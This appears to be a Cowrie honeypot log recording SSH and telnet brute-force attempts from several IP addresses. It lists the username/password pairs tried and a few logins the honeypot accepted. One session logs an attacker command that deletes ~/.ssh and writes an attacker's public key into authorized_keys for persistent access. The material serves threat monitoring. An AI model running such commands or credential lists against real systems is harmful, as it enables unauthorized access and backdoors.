{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:36.131340Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:36.136343Z","src_ip":"45.119.84.54","session":"6c907c82205d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":18888,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d26b941cf44","protocol":"ssh","message":"New connection: 2.57.121.112:18888 (159.203.135.109:22) [session: 8d26b941cf44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:17.382198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:17.386590Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:17.491523Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zoloft","message":"login attempt [admin/zoloft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:17.979657Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zoinks","message":"login attempt [admin/zoinks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:19.087023Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zaratustra","message":"login attempt [admin/zaratustra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:20.194767Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zaragoza","message":"login attempt [admin/zaragoza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:21.301586Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"z123456789","message":"login attempt [admin/z123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:22.411222Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:39:23.518958Z","src_ip":"2.57.121.112","session":"8d26b941cf44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.228.71.72","src_port":58848,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee7b8a893d01","protocol":"telnet","message":"New connection: 165.228.71.72:58848 (159.203.135.109:23) [session: ee7b8a893d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:40:23.785799Z"}
{"eventid":"cowrie.session.closed","duration":12.219195127487183,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:40:36.004869Z","src_ip":"165.228.71.72","session":"ee7b8a893d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.57.15.243","src_port":57000,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa15e918112e","protocol":"ssh","message":"New connection: 81.57.15.243:57000 (10.17.0.5:22) [session: fa15e918112e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:38.926443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:38.930453Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:39.038777Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qx@123456","message":"login attempt [root/qx@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:39.504276Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:39.760054Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:39.763791Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:39.767992Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:39.880073Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.138031Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.141394Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.255864Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.260241Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.57.15.243","src_port":57006,"dst_ip":"10.17.0.5","dst_port":22,"session":"beeafc6a0160","protocol":"ssh","message":"New connection: 81.57.15.243:57006 (10.17.0.5:22) [session: beeafc6a0160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.360573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.365548Z","src_ip":"81.57.15.243","session":"beeafc6a0160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.474003Z","src_ip":"81.57.15.243","session":"beeafc6a0160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:40.938681Z","src_ip":"81.57.15.243","session":"beeafc6a0160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:42.049447Z","src_ip":"81.57.15.243","session":"beeafc6a0160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.57.15.243","src_port":57020,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf20e8719882","protocol":"ssh","message":"New connection: 81.57.15.243:57020 (10.17.0.5:22) [session: bf20e8719882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:42.153106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:42.160534Z","src_ip":"81.57.15.243","session":"bf20e8719882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:42.268430Z","src_ip":"81.57.15.243","session":"bf20e8719882","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:42.729840Z","src_ip":"81.57.15.243","session":"bf20e8719882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:42.840258Z","src_ip":"81.57.15.243","session":"fa15e918112e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:42:42.843675Z","src_ip":"81.57.15.243","session":"bf20e8719882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":54238,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d49811afe50","protocol":"ssh","message":"New connection: 213.209.159.159:54238 (10.17.0.5:22) [session: 5d49811afe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:10.597369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:10.602064Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:10.684293Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya","message":"login attempt [taniya/taniya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:11.083112Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya1","message":"login attempt [taniya/taniya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:12.168615Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya123","message":"login attempt [taniya/taniya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:13.253891Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya1234","message":"login attempt [taniya/taniya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:14.339453Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taniya","password":"taniya12345","message":"login attempt [taniya/taniya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:15.425154Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:16.509336Z","src_ip":"213.209.159.159","session":"5d49811afe50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":44022,"dst_ip":"10.17.0.5","dst_port":22,"session":"49e6fe1847cb","protocol":"ssh","message":"New connection: 157.245.10.239:44022 (10.17.0.5:22) [session: 49e6fe1847cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:51.065573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:51.070448Z","src_ip":"157.245.10.239","session":"49e6fe1847cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:51.074837Z","src_ip":"157.245.10.239","session":"49e6fe1847cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345678","message":"login attempt [root/12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:51.084315Z","src_ip":"157.245.10.239","session":"49e6fe1847cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:43:51.089847Z","src_ip":"157.245.10.239","session":"49e6fe1847cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.89","src_port":46484,"dst_ip":"10.17.0.5","dst_port":22,"session":"6160a8735302","protocol":"ssh","message":"New connection: 45.142.154.89:46484 (10.17.0.5:22) [session: 6160a8735302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:48:38.514065Z"}
